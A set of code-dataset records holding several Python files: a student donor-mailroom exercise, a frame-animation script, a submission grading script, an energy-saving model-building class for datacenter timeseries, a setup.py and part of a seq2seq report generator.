self._gifts = len(self._donors.get(name))\n self._total = sum(self._donors.get(name))\n self._average = round((self._total / self._gifts), 2)\n self._recent_gift = self._donors.get(name)[-1]\n self._first_gift = self._donors.get(name)[0]\n \n @property\n def gifts(self):\n return self._gifts\n \n @gifts.deleter\n def gifts(self):\n del self._gifts\n \n @property\n def total_donations(self):\n return self._total\n \n @total_donations.deleter\n def total_donations(self):\n del self._total\n \n @property\n def average(self):\n return self._average\n \n @average.deleter\n def average(self):\n del _average\n \n @property\n def recent_gift(self):\n return self._recent_gift\n \n @recent_gift.deleter\n def recent_gift(self):\n del _recent_gift\n \n @property\n def first_gift(self):\n return self._first_gift\n \n @first_gift.deleter\n def first_gift(self):\n del self._first_gift\n \n \nclass DonorCollection(object):\n def __init__(self=None):\n pass\n \n @staticmethod\n def report():\n global donors\n y = '|'\n rows = ''\n top = f'Donor Name{y:>14} Total Given {y} Num Gifts {y} Average Gift\\n'\n top += ('-' * 63)\n sorted_donors = DonorCollection().sorted_donators()\n for name, donations in sorted_donors:\n d = Donor(name)\n gift = d.gifts\n total_donations = d.total_donations\n average = d.average\n rows += f'\\n{name:<23} $ {total_donations:>11.2f} {gift:>11} {average:>11.2f}'\n top += rows\n print(f'\\n{top}')\n \n @staticmethod\n def letters():\n tab = ' '\n global donors\n for name, val in donors.items():\n with open(f'{name}.txt', 'w') as outfile:\n d = Donor(name)\n donation = d.total_donations\n val = d.recent_gift\n outfile.write(f'Dear {name}, \\n\\n{tab}Thank you very much for your most recent donation \\\nof ${val:.2f}! \\n\\n{tab}You have now donated a total of ${donation:.2f}. \\n\\n{tab}Your support \\\nis essential to our success and will be well utilized. \\n\\n{tab*2}Sincerely, \\n{tab*3}-The Company')\n @staticmethod\n def show_list():\n print('')\n global donors\n for i in donors:\n print(i)\n\n @staticmethod\n def add_donor(donor_name='Jacob', donation=30):\n global donors\n if donor_name in donors:\n donors[donor_name] += [donation]\n else:\n donors[donor_name] = [donation]\n \n @staticmethod\n def sorted_donators():\n global donors\n return sorted(donors.items(), key=lambda k: sum(k[1]), reverse=True)\n\n \nclass Functions(object):\n\n def __init__(self):\n pass\n \n @staticmethod\n def challenge(factor, min_donation=0, max_donation=9999999999999999999):\n global donors\n modified_donors = copy.deepcopy(donors)\n lower_donors = copy.deepcopy(donors)\n higher_donors = copy.deepcopy(donors)\n\n for name in donors:\n modified_donors[name] = list(filter(lambda x : x > min_donation, modified_donors[name]))\n modified_donors[name] = list(filter(lambda x : x < max_donation, modified_donors[name]))\n \n lower_donors[name] = list(filter(lambda x : x < min_donation, lower_donors[name])) \n higher_donors[name] = list(filter(lambda x : x > max_donation, higher_donors[name]))\n \n for name in donors:\n modified_donors[name] = list(map(lambda x : x*factor, modified_donors[name]))\n \n for name in donors:\n modified_donors[name] += lower_donors[name]\n modified_donors[name] += higher_donors[name]\n \n# print(modified_donors)\n return modified_donors\n \n @staticmethod\n def projections():\n global donors\n d = Functions()\n a = d.challenge(2, 0, 100)\n b = d.challenge(3, 50)\n message = ('-' * 43)\n message += f'\\nCurrent donations:\\n'\n for name in donors:\n message += f'{name}: ${sum(donors[name])}\\n'\n message += f'\\nIf you double contributions under $100:\\n'\n for name in donors:\n message += f'{name}: ${sum(a[name])}\\n'\n message += f'\\nIf you triple contributions over $50:\\n'\n for name in donors:\n message += f'{name}: ${sum(b[name])}\\n'\n message += ('-' * 43)\n print(message)\n \n \nswitch_func_dict = {'1':Input().thank_you, '2':DonorCollection().report, '3':DonorCollection().letters, '4':Functions().projections, '5':Input().quitting, 'quit':Input().quitting, 'list':DonorCollection().show_list}\n\n#main function: adjusted to use classes\nif __name__ == '__main__':\n while True:\n choice = input('\\n1: Send a Thank You \\n2: Create a Report \\n3: Send Letters to Everyone \\n4: Run Projections \\n5: Quit \\n\\nChoose an Option: ')\n c = switch_func_dict.get(choice, Input().continuing)()","sub_path":"students/Josh_HOff/lesson10/mailroom_lesson_10.py","file_name":"mailroom_lesson_10.py","file_ext":"py","file_size_in_byte":6412,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"338788536","text":"import os, time\nimport sys\n\nfile = open(sys.argv[1])\nfile_content = file.read()\nfile_split = file_content.split(\"&&\")\nfor frame in file_split:\n print(frame)\n time.sleep(0.3)\n os.system('clear')\n","sub_path":"TP1/visual.py","file_name":"visual.py","file_ext":"py","file_size_in_byte":206,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"650839639","text":"# coding: utf-8\n\"\"\"Python script to automatically grade based on pull requests.\"\"\"\n\nimport csv\nimport sys\nimport grader\nfrom reader import fetch, get_students\n\n\nSURVEY_DATA_PATH = sys.argv[1]\nOUTPUT_PATH = sys.argv[2]\n\n\nif __name__ == '__main__':\n students = get_students(SURVEY_DATA_PATH)\n with open(OUTPUT_PATH, 'w') as csvfile:\n resultwriter = csv.writer(csvfile)\n # this matches the grading spreadsheet template provided by CMS\n resultwriter.writerow([\"NetID\", \"Grade\", \"Add Comments\"])\n submitted_net_ids = []\n for net_id in students:\n print('-------')\n website, response = fetch(net_id)\n print (website)\n\n if response is None:\n print(\"WARNING: no valid website for the assign.\")\n '''web = score = 0\n #comment = 'Website available : {website}/50, Return right time : {score}/50'.format(website=web, score=score)\n #resultwriter.writerow([net_id, 0, comment])'''\n continue\n\n score, comment = grader.grade(response)\n\n resultwriter.writerow([net_id, score, comment])\n print (score, comment)\n submitted_net_ids.append(net_id)\n\n print('-------')\n print(\"Number of submissions:\", len(submitted_net_ids))\n","sub_path":"run_all.py","file_name":"run_all.py","file_ext":"py","file_size_in_byte":1320,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"224819960","text":"\nimport abc\n# from abc import abstractmethod\nimport datetime\nimport logging\nimport os\nimport os.path\nimport pandas as pd\nimport simplejson as json\nimport six\n\nfrom oslo_config import cfg\n\nfrom energy_saving.db import database\nfrom energy_saving.db import timeseries\nfrom energy_saving.models import model_builder_manager\nfrom energy_saving.utils import settings\nfrom energy_saving.utils import util\n\n\nopts = [\n cfg.StrOpt(\n 'model_dir',\n help='model directory',\n default=settings.DATA_DIR\n )\n]\nCONF = util.CONF\nCONF.register_cli_opts(opts)\nlogger = logging.getLogger(__name__)\nmanager = model_builder_manager.ModelBuilderManager()\n\n\nclass BaseModelType(object):\n def __init__(self, datacenter, builder):\n self.datacenter = datacenter\n self.builder = builder\n self.metadata = self.get_metadata()\n self.config = self.load_config(\n self.metadata['models'].get(\n self.builder.name, '%s.json' % self.builder.name\n )\n )\n logger.debug(\n 'model type %s config: %s',\n self.builder.name, self.config\n )\n self.model_builder = self.get_model_builder()\n self.built = False\n self.trained = False\n self.SUB_NODES_AGGREGATORS = {\n 'sum': self.sum_sub_nodes_data,\n 'default': self.sum_sub_nodes_data\n }\n self.NODE_TRANSFORMERS = {\n 'shift': self.shift_data,\n 'differentiate': self.differentiate_data,\n 'default': self.shift_data\n }\n self.NODE_DETRANSFORMERS = {\n 'unshift': self.unshift_data,\n 'undifferentiate': self.undifferentiate_data,\n 'default': self.unshift_data\n }\n\n def sum_sub_nodes_data(self, data):\n return data.sum(axis=1)\n\n def get_sub_nodes_aggregator(self, aggregator_name):\n return self.SUB_NODES_AGGREGATORS.get(\n aggregator_name, self.SUB_NODES_AGGREGATORS['default']\n )\n\n def shift_data(self, data):\n time_interval = self.metadata['time_interval']\n return data.shift(\n -1, datetime.timedelta(seconds=time_interval)\n ).iloc[1:]\n\n def unshift_data(self, data, origin_data):\n time_interval = self.metadata['time_interval']\n return data.shift(\n 1, datetime.timedelta(seconds=time_interval)\n ).iloc[:-1]\n\n def differentiate_data(self, data):\n shifted_data = self.shift_data(data)\n return (shifted_data - data)\n\n def undifferentiate_data(self, origin_data, data):\n return self.unshift_data(origin_data + data, origin_data)\n\n def get_node_transformer(self, transformer_name):\n return self.NODE_TRANSFORMERS.get(\n transformer_name, self.NODE_TRANSFORMERS['default']\n )\n\n def get_node_detransformer(self, detransformer_name):\n return self.DENODE_TRANSFORMERS.get(\n detransformer_name, self.NODE_DETRANSFORMERS['default']\n )\n\n def get_model_builder(self):\n return manager.get_model_builder(self.config['model'])\n\n def get_file(self, filename):\n return os.path.join(\n CONF.model_dir, filename\n )\n\n def load_config(self, filename):\n config_file = self.get_file(\n filename\n )\n with open(config_file, 'r') as data_file:\n return json.loads(\n data_file.read().decode('utf-8'), encoding='utf-8'\n )\n\n def save_config(self, filename, data):\n config_file = self.get_file(\n filename\n )\n with open(config_file, 'w') as data_file:\n data_file.write(json.dumps(\n data, ensure_ascii=False, indent=4, encoding='utf-8'\n ).encode('utf-8'))\n\n def get_metadata(self):\n with database.session() as session:\n return timeseries.get_datacenter_metadata(\n session, self.datacenter\n )\n\n def load_nodes(self):\n nodes = self.load_config(self.config['nodes'])\n self.input_nodes = nodes['input']\n self.output_nodes = nodes['output']\n\n def load_built(self):\n logger.debug('load built? %s', self.built)\n if not self.built:\n self.load_nodes()\n self.built = True\n model_path = self.get_file(self.config['model_path'])\n self.model = self.model_builder.get_model(\n self, model_path,\n [self.get_node_key(node) for node in self.input_nodes],\n [self.get_node_key(node) for node in self.output_nodes]\n )\n logger.debug('built model is loaded')\n\n def load_trained(self):\n self.load_built()\n logger.debug('load trained? %s', self.trained)\n if not self.trained:\n self.load_model()\n self.trained = True\n logger.debug('trained model is loaded')\n\n def save_model(self):\n model_config = self.model.save()\n self.save_config(\n self.config['model_config'],\n model_config\n )\n\n def load_model(self):\n self.model.load()\n\n def save_nodes(self):\n self.save_config(\n self.config['nodes'],\n {'input': self.input_nodes, 'output': self.output_nodes}\n )\n\n def save_built(self):\n logger.debug('save built model')\n self.save_nodes()\n self.built = True\n self.trained = False\n\n def save_trained(self):\n logger.debug('save trained model')\n self.save_model()\n self.trained = True\n\n def _create_nodes(self, patterns):\n nodes = []\n logger.debug(\n 'create nodes with patttern: %s', patterns\n )\n device_type_mapping = timeseries.get_device_type_mapping(\n patterns, self.metadata\n )\n for device_type, measurement_mapping in six.iteritems(\n device_type_mapping\n ):\n device_type_metadata = self.metadata[\n 'device_types'\n ][device_type]\n for measurement, devices in six.iteritems(\n measurement_mapping\n ):\n measurement_metadata = device_type_metadata[measurement]\n for device in devices:\n nodes.append({\n 'device_type': device_type,\n 'measurement': measurement,\n 'device': device,\n 'unit': measurement_metadata[\n 'attribute'\n ]['unit'],\n 'type': measurement_metadata[\n 'attribute'\n ]['type'],\n 'mean': measurement_metadata[\n 'attribute'\n ]['mean'],\n 'deviation': measurement_metadata[\n 'attribute'\n ]['deviation']\n })\n return nodes\n\n def create_nodes(self, data=None):\n if not data:\n input_nodes = self._create_nodes(self.config['inputs'])\n output_nodes = self._create_nodes(self.config['outputs'])\n else:\n input_nodes, output_nodes = (\n data['input_nodes'], data['output_nodes']\n )\n logger.debug(\n 'input nodes before processed: %s', input_nodes\n )\n logger.debug(\n 'output nodes before processed: %s', output_nodes\n )\n (\n self.input_nodes, self.output_nodes\n ) = self.process_nodes(input_nodes, output_nodes)\n logger.debug('input nodes: %s', self.input_nodes)\n logger.debug('output nodes: %s', self.output_nodes)\n\n def build(self, data=None):\n logger.debug('%s build model', self)\n self.create_nodes(data)\n model_path = self.get_file(self.config['model_path'])\n self.model = self.model_builder.get_model(\n self, model_path,\n [self.get_node_key(node) for node in self.input_nodes],\n [self.get_node_key(node) for node in self.output_nodes]\n )\n self.save_built()\n\n def _get_data_from_timeseries(\n self, session,\n starttime, endtime, nodes\n ):\n time_interval = self.metadata['time_interval']\n device_type_mapping = {}\n device_type_types = {}\n for node in nodes:\n device_type = node['device_type']\n measurement = node['measurement']\n device = node['device']\n measurement_mapping = device_type_mapping.setdefault(\n device_type, {}\n )\n measurement_types = device_type_types.setdefault(device_type, {})\n devices = measurement_mapping.setdefault(measurement, [])\n measurement_types.setdefault(\n measurement, node['type']\n )\n if device not in devices:\n devices.append(device)\n response = timeseries.list_timeseries_internal(\n session, {\n 'where': {\n 'starttime': starttime,\n 'endtime': endtime\n },\n 'group_by': ['time(%ss)' % time_interval],\n 'order_by': ['time'],\n 'aggregation': 'mean'\n },\n self.datacenter,\n convert_timestamp=True,\n format_timestamp=False,\n device_type_mapping=device_type_mapping,\n device_type_types=device_type_types\n )\n logger.debug(\n 'get data from timeseries %s %s',\n starttime, endtime\n )\n return response\n\n def _get_data_direct(self, data, nodes):\n dataframe = {}\n expected_data = set()\n for node in nodes:\n device_type = node['device_type']\n measurement = node['measurement']\n device = node['device']\n expected_data.add((device_type, measurement, device))\n for device_type, device_type_data in six.iteritems(data):\n for measurement, measurement_data in six.iteritems(\n device_type_data\n ):\n for device, device_data in six.iteritems(measurement_data):\n key = (measurement, device_type, device)\n if key in expected_data:\n times, values = zip(*device_data.items())\n dataframe[key] = pd.Series(values, index=times)\n return pd.DataFrame(dataframe)\n\n def get_data(\n self, starttime=None, endtime=None, data=None,\n get_input=True, get_ouput=True\n ):\n input_nodes = self.get_extended_nodes(self.input_nodes)\n output_nodes = self.get_extended_nodes(self.output_nodes)\n logger.debug('get data input nodes: %s', input_nodes)\n logger.debug('get data output nodes: %s', output_nodes)\n if not data:\n with database.influx_session(dataframe=True) as session:\n if get_input:\n input_data = self._get_data_from_timeseries(\n session,\n starttime, endtime,\n input_nodes\n )\n else:\n input_data = None\n if get_ouput:\n output_data = self._get_data_from_timeseries(\n session,\n starttime, endtime,\n output_nodes\n )\n else:\n output_data = None\n else:\n if get_input:\n input_data = self._get_data_direct(\n data['input_data'],\n input_nodes\n )\n else:\n input_data = None\n if get_ouput:\n output_data = self._get_data_direct(\n data['output_data'],\n self.output_nodes\n )\n else:\n output_data = None\n if input_data is not None:\n logger.debug('input data columns: %s', input_data.columns)\n logger.debug('input data index: %s', input_data.index)\n if output_data is not None:\n logger.debug('output data columns: %s', output_data.columns)\n logger.debug('output data index: %s', output_data.index)\n return (\n self.process_data(\n input_data, output_data\n )\n )\n\n def test(self, starttime=None, endtime=None, data=None):\n logger.debug('%s test model', self)\n self.load_trained()\n input_data, output_data = self.get_data(\n starttime=starttime, endtime=endtime, data=data\n )\n result = self.model.test(\n input_data, output_data\n )\n result = self.recovery_result(result)\n return result\n\n def is_built(self):\n if not self.built:\n logger.error('%s is not built yet', self)\n raise Exception('%s is not built' % self)\n\n def is_trained(self):\n self.is_built()\n if not self.trained:\n logger.error('%s is not trained yet', self)\n raise Exception('%s is not trained' % self)\n\n def process_nodes(self):\n return self.input_nodes, self.output_nodes\n\n def get_node_mapping(self, nodes):\n node_map = {}\n for node in nodes:\n device_type = node['device_type']\n measurement = node['measurement']\n device = node['device']\n node_map[(device_type, measurement, device)] = node\n return node_map\n\n def get_extended_nodes(self, nodes):\n extended_nodes = []\n for node in nodes:\n if 'sub_nodes' in node:\n extended_nodes.extend(\n self.get_extended_nodes(node['sub_nodes'])\n )\n elif 'original_node' in node:\n extended_nodes.extend(\n self.get_extended_nodes([node['original_node']])\n )\n else:\n extended_nodes.append(node)\n return extended_nodes\n\n def normalize_data_by_node(self, data, node, normalized_data={}):\n node_key = self.get_node_key(node)\n normalized_data[node_key] = (\n data[node_key] - node['mean']\n ) / node['deviation']\n\n def normalize_data_by_nodes(self, data, nodes):\n normralized_data = {}\n for node in nodes:\n self.normalize_data_by_node(data, node, normralized_data)\n return pd.DataFrame(normralized_data)\n\n def normalize_data(self, input_data, output_data):\n if input_data is not None:\n input_data = self.normalize_data_by_nodes(\n input_data, self.input_nodes\n )\n if output_data is not None:\n output_data = self.normalize_data_by_nodes(\n output_data, self.output_nodes\n )\n return input_data, output_data\n\n def denormalize_data_by_node(self, data, node, denormalized_data={}):\n node_key = self.get_node_key(node)\n denormalized_data[node_key] = (\n data[node_key] * (node['deviation'] + 0.1) + node['mean']\n )\n\n def denormalize_data_by_nodes(self, data, nodes):\n denormalized_data = {}\n for node in nodes:\n self.denormalize_data_by_node(data, node, denormalized_data)\n return pd.DataFrame(denormalized_data)\n\n def denormalize_data(self, output_data):\n if output_data is not None:\n output_data = self.denormalize_data_by_nodes(\n output_data, self.output_nodes\n )\n return output_data\n\n def recovery_data(self, output_data):\n output_data = self.denormalize_data(output_data)\n output_data = self.detransform_data(output_data)\n return output_data\n\n def generate_device_type_mapping_by_nodes(self, nodes):\n device_type_mapping = {}\n for node in nodes:\n device_type = node['device_type']\n measurement = node['measurement']\n device = node['device']\n measurement_mapping = device_type_mapping.setdefault(\n device_type, {}\n )\n devices = measurement_mapping.setdefault(\n measurement, [])\n devices.append(device)\n return device_type_mapping\n\n def generate_device_type_mapping(self):\n return self.generate_device_type_mapping_by_nodes(self.output_nodes)\n\n def generate_device_type_types_by_nodes(self, nodes):\n device_type_types = {}\n for node in nodes:\n device_type = node['device_type']\n measurement = node['measurement']\n measurement_type = node['type']\n measurement_types = device_type_types.setdefault(\n device_type, {}\n )\n measurement_types[measurement] = measurement_type\n return device_type_types\n\n def generate_device_type_types(self):\n return self.generate_device_type_types_by_nodes(self.output_nodes)\n\n def recovery_result(self, result):\n if 'predictions' in result:\n result['predictions'] = self.recovery_data(result['predictions'])\n if 'expectations' in result:\n result['expectations'] = self.recovery_data(result['expectations'])\n result['device_type_mapping'] = self.generate_device_type_mapping()\n result['device_type_types'] = self.generate_device_type_types()\n return result\n\n def clean_data(self, input_data, output_data):\n if input_data is not None and output_data is not None:\n total = pd.concat(\n [input_data, output_data], axis=1,\n keys=['input', 'output']\n )\n total = total.dropna()\n input_data = total['input']\n output_data = total['output']\n elif input_data is not None:\n input_data = input_data.dropna()\n elif output_data is not None:\n output_data = output_data.dropna()\n return input_data, output_data\n\n def merge_data_by_nodes(self, data, nodes):\n merged_data = {}\n for node in nodes:\n self.merge_data_by_node(data, node, merged_data)\n return pd.DataFrame(merged_data)\n\n def get_node_key(self, node):\n device_type = node['device_type']\n measurement = node['measurement']\n device = node['device']\n return (device_type, measurement, device)\n\n def merge_data_by_node(self, data, node, merged_data={}):\n node_key = self.get_node_key(node)\n node_data = None\n if 'sub_nodes' in node:\n sub_node_dataframe = {}\n for sub_node in node['sub_nodes']:\n sub_node_key = self.get_node_key(sub_node)\n if sub_node_key in data:\n sub_node_dataframe[sub_node_key] = data[sub_node_key]\n if sub_node_dataframe:\n node_data = self.get_sub_nodes_aggregator(\n node.get('sub_nodes_aggregator', None)\n )(pd.DataFrame(\n sub_node_dataframe\n ))\n else:\n if node_key in data:\n node_data = data[node_key]\n if node_data is not None:\n merged_data[node_key] = node_data\n\n def merge_data(self, input_data, output_data):\n if input_data is not None:\n input_data = self.merge_data_by_nodes(\n input_data, self.input_nodes\n )\n if output_data is not None:\n output_data = self.merge_data_by_nodes(\n output_data, self.output_nodes\n )\n return input_data, output_data\n\n def transform_data_by_node(self, data, node, transformed_data={}):\n node_key = self.get_node_key(node)\n node_data = None\n if 'original_node' in node:\n original_node = node['original_node']\n original_node_key = self.get_node_key(original_node)\n if original_node_key in data:\n orginal_data = data[original_node_key]\n node_data = self.get_node_transformer(\n node.get('transformer', None)\n )(orginal_data)\n else:\n if node_key in data:\n node_data = data[node_key]\n if node_data is not None:\n transformed_data[node_key] = node_data\n\n def transform_data_by_nodes(self, data, nodes):\n transformed_data = {}\n for node in nodes:\n self.transform_data_by_node(data, node, transformed_data)\n return pd.DataFrame(transformed_data)\n\n def transform_data(self, input_data, output_data):\n if input_data is not None:\n input_data = self.transform_data_by_nodes(\n input_data, self.input_nodes\n )\n if output_data is not None:\n output_data = self.transform_data_by_nodes(\n output_data, self.output_nodes\n )\n return input_data, output_data\n\n def detransform_data_by_node(self, data, node, detransformed_data={}):\n node_key = self.get_node_key(node)\n node_data = None\n if node_key in data:\n node_data = data[node_key]\n if 'original_node' in node:\n original_node = node['original_node']\n original_node_key = self.get_node_key(original_node)\n if original_node_key in data:\n orginal_data = data[original_node_key]\n node_data = self.get_node_detransformer(\n node.get('detransformer', None)\n )(node_data, orginal_data)\n if node_data is not None:\n detransformed_data[node_key] = node_data\n\n def detransform_data_by_nodes(self, data, nodes):\n detransformed_data = {}\n for node in nodes:\n self.detransform_data_by_node(data, node, detransformed_data)\n return pd.DataFrame(detransformed_data)\n\n def detransform_data(self, output_data):\n if output_data is not None:\n output_data = self.detransform_data_by_nodes(\n output_data, self.output_nodes\n )\n return output_data\n\n def process_data(self, input_data, output_data):\n input_data, output_data = self.clean_data(\n input_data, output_data\n )\n input_data, output_data = self.merge_data(\n input_data, output_data\n )\n input_data, output_data = self.transform_data(\n input_data, output_data\n )\n input_data, output_data = self.clean_data(\n input_data, output_data\n )\n input_data, output_data = self.normalize_data(\n input_data, output_data\n )\n return input_data, output_data\n\n def train(self, starttime=None, endtime=None, data=None):\n logger.debug('%s train model', self)\n self.load_built()\n input_data, output_data = self.get_data(\n starttime=starttime, endtime=endtime, data=data\n )\n result = self.model.train(\n input_data, output_data\n )\n self.save_trained()\n result = self.recovery_result(result)\n return result\n\n def apply(self, starttime=None, endtime=None, data=None):\n logger.debug('%s apply model', self)\n self.load_trained()\n input_data, _ = self.get_data(\n starttime=starttime, endtime=endtime, data=data,\n get_output=False\n )\n result = self.model.apply(\n input_data\n )\n return result\n\n def __str__(self):\n return '%s[builder=%s, datacenter=%s]' % (\n self.__class__.__name__, self.builder, self.datacenter\n )\n\n\n@six.add_metaclass(abc.ABCMeta)\nclass BaseModelTypeBuilder(object):\n def __init__(self, name, *args, **kwargs):\n logger.debug(\n 'init %s with args=%s kwargs=%s',\n name, args, kwargs\n )\n self.name = name\n self.model_types = {}\n\n def create_model_type(self, datacenter):\n return BaseModelType(datacenter, self)\n\n def get_model_type(self, datacenter):\n if datacenter not in self.model_types:\n self.model_types[datacenter] = self.create_model_type(\n datacenter\n )\n return self.model_types[datacenter]\n\n def __str__(self):\n return '%s[name=%s]' % (self.__class__.__name__, self.name)\n","sub_path":"energy_saving/models/base_model_type_builder.py","file_name":"base_model_type_builder.py","file_ext":"py","file_size_in_byte":24498,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"478571321","text":"from setuptools import setup, find_packages\n\nversion = '0.0.0'\n\nsetup(\n name = 'isotoma.depends.plone4_1',\n version = version,\n description = \"Running plone in a virtualenv\",\n long_description = open(\"README.rst\").read(),\n classifiers = [\n \"Intended Audience :: System Administrators\",\n \"Operating System :: POSIX\",\n \"License :: OSI Approved :: Apache Software License\",\n ],\n keywords = \"zope plone virtualenv\",\n author = \"John Carr\",\n author_email = \"john.carr@isotoma.com\",\n license=\"Apache Software License\",\n zip_safe = False,\n install_requires = open(\"requirements.txt\").read().strip().split(\"\\n\"),\n )\n\n","sub_path":"depends/isotoma.depends.plone4_1/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":672,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"212799141","text":"\"\"\"\nReport generator\n\nTO DO:\n- clean\n- modularize even more\n- be more specific in arguments and returns\n- add examples\n- use logging instead of printing (not doing that for now, because logging doesn't work well on jupyter notebooks)\n\nContact: Yann Dubois\n\"\"\"\nimport os\nimport logging\nimport shutil\nimport itertools\nimport warnings\nimport ast\nimport pickle\nimport json\nfrom functools import reduce\nfrom distutils.dir_util import copy_tree\n\nimport matplotlib\nif os.environ.get('DISPLAY', '') == '':\n # HAS TO BE BEFORE IMPORTING PYPLOT\n # solving ssh plotting issue\n warnings.warn('No display found. Using non-interactive Agg backend')\n matplotlib.use('Agg')\n\n\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.backends.backend_pdf import PdfPages\n\nimport torch\n\nfrom seq2seq.trainer import SupervisedTrainer\nfrom seq2seq.loss.loss import get_losses\nfrom seq2seq.metrics.metrics import get_metrics\nfrom seq2seq.dataset.helpers import get_tabular_data_fields, get_data\nfrom seq2seq.evaluator import Evaluator, Predictor\nfrom seq2seq.util.checkpoint import Checkpoint\nfrom seq2seq.main import train\n\n\"\"\"\nfrom seq2seq.trainer import SupervisedTrainer\nfrom seq2seq.loss.loss import get_losses\nfrom seq2seq.metrics.metrics import get_metrics\nfrom seq2seq.dataset.helpers import get_tabular_data_fields, get_data\nfrom seq2seq.evaluator import Evaluator, Predictor\nfrom seq2seq.util.checkpoint import Checkpoint\nfrom seq2seq.main import train\n\"\"\"\n\nfrom tasks import get_task\nfrom visualizer import (plot_compare, plot_losses, plot_text, plot_results,\n AttentionVisualizer, visualize_training, AttentionException)\n\nLOG_FORMAT = '%(asctime)s %(name)-12s %(levelname)-8s %(message)s'\nlog_level = \"warning\"\nlogging.basicConfig(format=LOG_FORMAT, level=getattr(logging, log_level.upper()))\nlogger = logging.getLogger(__name__)\n\n\n### API ###\n\ndef generate_multireport(tasks,\n output_dir,\n task_kwargs=None,\n **kwargs):\n \"\"\"Make a pdf report experiments either by loading them or recomputing them\n on multiple tasks.\n\n Args:\n tasks (list of Task or str): list of helper objects containing meta information\n of the task. If list of str, then each element should be the name of\n a task which will be given to `get_task`.\n output_dir (str): directory containing the different models.\n task_kwargs (list of dictionnaries, optional): list of task specific arguments\n that update the kwargs for a specific task.\n kwargs:\n Additional arguments to `generate_report` and `train`.\n\n Returns:\n models (dictionary): dictionary containing the trained model of the last\n run for each task.\n others (dictionary): dictionary containing additional information for the\n last run of each task.\n \"\"\"\n models = {}\n others = {}\n pdf = None\n print()\n for i, task in enumerate(tasks):\n if isinstance(task, str):\n task = get_task(task)\n\n print(\"----- TASK : {} -----\".format(task.name))\n print()\n task_kwarg = task.task_kwargs\n task_kwarg.update(kwargs)\n if task_kwargs is not None:\n task_kwarg.update(task_kwargs[i])\n models[task.name], pdf, others[task.name] = generate_report(task,\n output_dir,\n _is_multiple_tasks=True,\n _pdf=pdf,\n **task_kwarg)\n pdf.close()\n\n return models, others\n\n\ndef generate_report(task,\n output_dir,\n name=\"model\",\n k=5,\n is_retrain=True,\n compare_name=None,\n n_attn_plots=3,\n is_plot_train=True,\n is_rm_FalseNone=False,\n var_not_show=[\"max_len\", \"epochs\", \"src_vocab\", \"tgt_vocab\",\n \"batch_size\", \"eval_batch_size\", \"save_every\",\n \"print_every\", \"log_level\", \"cuda_device\",\n \"checkpoint_path\", \"name_checkpoint\", \"patience\"],\n _is_multiple_tasks=False,\n _pdf=None,\n _filenames=dict(results=\"results.csv\",\n histories=\"histories.csv\",\n other=\"other.pkl\",\n parameters='train_arguments.txt',\n report='report.pdf'),\n **kwargs):\n \"\"\"Make a pdf report experiments either by loading them or recomputing them.\n\n Args:\n task (Task): helper object containing meta information of the task.\n output_dir (str): directory containing the different models.\n name (str, optional): base name of the method tested, to which we will\n be appending the value of different parameters.\n k (int, optional): number of times to rerun each task.\n is_retrain (bool, optional): whether to retrain or use the previous saved model.\n compare_name (str, optional): name of the model to which to compare to.\n Have to already be saved.\n n_attn_plots (int, optional): number of example to sample and visualize\n from each test set.\n is_plot_train (bool, optional): whether to plot how the averages of some\n intepretable variables change during training.\n is_rm_FalseNone (bool, optional): if `True` whill not show given arguments\n equal to `False` or `None` in the model name.\n var_not_show (list of str): name of the variables in kwargs that should\n not be shown in the model name. Note that the default values\n won't be shown in the name.\n kwargs:\n Additional arguments to `train`.\n\n Returns:\n model (seq2seq.models.seq2seq.Seq2seq): trained model in the last run.\n other (dictionary): additional information of the last run.\n \"\"\"\n parameters_show_name = {k: v for k, v in kwargs.items() if k not in var_not_show}\n name = _namer(name, is_rm_FalseNone=is_rm_FalseNone, **parameters_show_name)\n\n output_path = os.path.join(output_dir, name)\n task_path = os.path.join(output_path, task.name)\n report_path = os.path.join(output_path, _filenames[\"report\"])\n\n if is_retrain:\n if os.path.exists(task_path) and os.path.isdir(task_path):\n shutil.rmtree(task_path)\n\n model, other = _train_evaluate(task.name,\n task.train_path,\n task.test_paths,\n task.valid_path,\n oneshot_path=task.oneshot_path,\n metric_names=task.metric_names,\n loss_names=task.loss_names,\n output_dir=output_path,\n k=k,\n is_viz_train=is_plot_train,\n _filenames=_filenames,\n **kwargs)\n else:\n model = None\n other = dict()\n\n # Makes PDF report\n model, other, fig_multiple_tasks = plot_report(task, name, output_dir, is_plot_train,\n n_attn_plots,\n compare_name=compare_name,\n is_multiple_tasks=_is_multiple_tasks,\n _filenames=_filenames)\n\n if k > 1:\n for i in range(k):\n # making smaller report for each run\n plot_report(task, name, output_dir, is_plot_train, n_attn_plots=1,\n sub_run=i,\n _filenames=_filenames)\n\n other[\"task_path\"] = task_path\n\n if _is_multiple_tasks:\n pdf = report_path if _pdf is None else _pdf\n pdf = figures_to_pdf(pdf,\n figures=fig_multiple_tasks,\n is_close=False)\n return model, pdf, other\n\n return model, other\n\n\ndef dev_predict(task_path, src_str, is_plot=True):\n \"\"\"Helper used to visualize and understand why and what the model predicts.\n\n Args:\n task_path (str): path to the saved task directory containing, amongst\n other, the model.\n src_str (str): source sentence that will be used to predict.\n is_plot (bool, optional): whether to plots the attention pattern.\n\n Returns:\n out_words (list): decoder predictions.\n other (dictionary): additional information used for predictions.\n test (dictionary): additional information that is only stored in dev mode.\n These can include temporary variables that do not have to be stored in\n `other` but that can still be interesting to inspect.\n \"\"\"\n check = Checkpoint.load(task_path)\n check.model.set_dev_mode()\n\n predictor = Predictor(check.model, check.input_vocab, check.output_vocab)\n out_words, other = predictor.predict(src_str.split())\n\n test = dict()\n\n for k, v in other[\"test\"].items():\n tensor = v if isinstance(v, torch.Tensor) else torch.cat(v)\n test[k] = tensor.detach().cpu().numpy().squeeze()[:other[\"length\"][0]]\n # except: # for using \"step\"\n # test[k] = v\n\n if is_plot:\n visualizer = AttentionVisualizer(task_path)\n visualizer(src_str)\n\n return out_words, other, test\n\n### Plotting ###\n\n\ndef figures_to_pdf(file, figures, 